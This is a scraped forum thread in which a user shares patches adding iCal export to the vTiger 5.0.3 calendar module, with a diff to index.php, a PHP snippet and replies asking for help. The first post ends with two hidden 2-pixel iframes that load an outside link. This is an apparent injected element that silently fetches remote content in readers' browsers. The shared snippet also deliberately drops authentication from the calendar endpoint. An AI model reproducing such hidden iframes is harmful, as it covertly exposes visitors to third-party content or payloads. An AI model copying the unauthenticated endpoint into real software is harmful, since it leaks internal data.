Calendar Module Changes (Part Deux, iCal Adventures)

I figured I should start a new thread since this is a mod that relates to a different topic. iCal exporting. To see the calendar that I'm basing this from, see the following thread:

<!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=15075">http://forums.vtiger.com/viewtopic.php?t=15075</a><!-- m -->

Ok, that being out of the way, I have basic iCal exporting working in vTiger 5.0.3. The patch is attached below. Enjoy. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 16 Comments sorted by Votes Date Added
  • in addition, here's my current revision of the calendar module. i tarballed it for convenience. however, you must still apply many of the patches to get the stuff here to work. there are many changes outside of the calendar module that must be applied.
  • oh, before anyone asks, i didn't make an interface for an end user to actually download the calendar (so there's no link within vtiger to get to the calendar). that will come later. if you want to use these patches as is, you can tell your users to subscribe to the calendar at the following address in ical or whatever.

    <!-- m --><a class="postlink" href="http://your-vtiger-install/index.php?module=calendar&action=ical">http://your-vtiger-install/index.php?mo ... ction=ical</a><!-- m -->

    if you really need a button to download a calendar within vtiger, just modify the appropiate file in vtiger-install/smarty/templates to create a link to the above.
  • here we go. this is a patch to the index file so the headers will be written out from the previous patch. it basically disables any output other than the text/calendar data.
    index&#58; index&#46;php
    ===================================================================
    --- index&#46;php	&#40;revision 140&#41;
    +++ index&#46;php	&#40;working copy&#41;
    @@ -274,6 +274,7 @@
     		ereg&#40;&quot;^activityajax&quot;,$action&#41; ||
     		ereg&#40;&quot;^chat&quot;,$action&#41; ||
     		ereg&#40;&quot;^vtchat&quot;,$action&#41; ||
    +		ereg&#40;&quot;^ical&quot;,$action&#41; ||
     		ereg&#40;&quot;^updatecalendarsharing&quot;,$action&#41; ||
     		ereg&#40;&quot;^disable_sharing&quot;,$action&#41; ||
     		ereg&#40;&quot;^headlines&quot;,$action&#41; ||
    @@ -303,10 +304,11 @@
     			ereg&#40;&quot;^massdelete&quot;, $action&#41; ||
     			ereg&#40;&quot;^mailmergedownloadfile&quot;,$action&#41; || 	ereg&#40;&quot;^get_img&quot;,$action&#41; ||
     			ereg&#40;&quot;^download&quot;,$action&#41; ||
    +			ereg&#40;&quot;^ical&quot;,$action&#41; ||
     			ereg&#40;&quot;^massdelete&quot;, $action &#41;&#41;
     			$skipfooters=true;
     		//skip footers for all these invocations as they are mostly popups
    -		if&#40;ereg&#40;&quot;^downloadfile&quot;, $action&#41; || ereg&#40;&quot;^fieldtypes&quot;,$action&#41; || ereg&#40;&quot;^mailmergedownloadfile&quot;,$action&#41;|| ereg&#40;&quot;^get_img&quot;,$action&#41;&#41;
    +		if&#40;ereg&#40;&quot;^ical&quot;,$action&#41; || ereg&#40;&quot;^downloadfile&quot;, $action&#41; || ereg&#40;&quot;^fieldtypes&quot;,$action&#41; || ereg&#40;&quot;^mailmergedownloadfile&quot;,$action&#41;|| ereg&#40;&quot;^get_img&quot;,$action&#41;&#41;
     		&#123;
     			$viewattachment = true;
     		&#125;
    
  • does anyone have any suggestions for doing authentication? basically as-is, you need to login to be able to access the calendar. i'm thinking about setting it so it creates it's own connection to the database and turning it into an essentially stand alone script that queries the database and returns the public calendar. this way users can subscribe to the calendar in ical or whatever and not have to log in before hand. any thoughts on this?
  • i ended up modifying my version of the ical exporter to provide the calendar without authentication. i figure if someone manages to get into our internal network, viewing our calendar is the least of our worries. if you want your setup like this, move the ical.php in modules/calendar to your vtiger root and modify the beginning of it to resemble the following:
    &lt;?php
    
    define&#40;'_bennu_version', '0&#46;1'&#41;;
    
    require_once&#40;'include/database/peardatabase&#46;php'&#41;;
    require_once&#40;'include/utils/commonutils&#46;php'&#41;;
    require_once&#40;'include/utils/userinfoutil&#46;php'&#41;;
    require_once&#40;'modules/calendar/calendarcommon&#46;php'&#41;;
    require_once&#40;'modules/calendar/icalendar_rfc2445&#46;php'&#41;;
    require_once&#40;'modules/calendar/icalendar_components&#46;php'&#41;;
    require_once&#40;'modules/calendar/icalendar_properties&#46;php'&#41;;
    require_once&#40;'modules/calendar/icalendar_parameters&#46;php'&#41;;
    
    // connect to the database anyway if we aren't logged in
    if&#40;!isset&#40;$_request&#91;'action'&#93;&#41; || !isset&#40;$_request&#91;'module'&#93;&#41; &#41; &#123;
    	global $adb;
    
    	$adb = newadoconnection&#40;$dbconfig&#91;'db_type'&#93;&#41;;
    	$adb-&gt;connect&#40;$dbconfig&#91;'db_server'&#93;, $dbconfig&#91;'db_username'&#93;, $dbconfig&#91;'db_password'&#93;, $dbconfig&#91;'db_name'&#93;&#41;;
    &#125;
    
    $ical_query = &quot;select * from vtiger_activity
                   where &#40;
                       &#40; status != 'completed' and status != 'deferred' &#41;
                       or status is null
                   &#41; and &#40;
                       &#40; eventstatus != 'held' and eventstatus != 'not held' &#41;
                       or eventstatus is null
                   &#41;&quot;;
    
    etc&#46;&#46;&#46;
    

    enjoy.
  • hi jonb,

    i saw this post and followed on from the other thread. looks like excellent work from the screen shots. can you summary up best files / patches to be applied as i'm having some trouble getting the patches in.

    (most likely a result of my newbism).

    regards

    <!-- s:p --><img src="{smilies_path}/icon_razz.gif" alt=":p" title="razz" /><!-- s:p -->
  • jonb, how are you?

    i wonder if it's possible to add a vcard export functionality to the calendar via ical. i don't really know a lot about this, that's why i'm asking.

    what i had in mind is to attach the ical file for the event in particular when i create it and select send notifications. so when i get the email i can add the ical file to my calendar..

    what do you think about this?
  • i am highly interested in the ical export and dont want to wait for the 5.1 version. but i do not manage to get it work. actually i totaly lost (or never got) the overview of all patches needed. from the first patch i also get some rejections.

    as i am no programmer: could someone please provide a concentrated patch or the patched and zipped calendar-folder (do i still have to change the db?). i am running the actual 5.0.3 version. thanx.
  • hi
    i'd like a summary path x ical too...

    totally lost....

    <!-- s:( --><img src="{smilies_path}/icon_sad.gif" alt=":(" title="sad" /><!-- s:( -->(((
Sign In or Register to comment.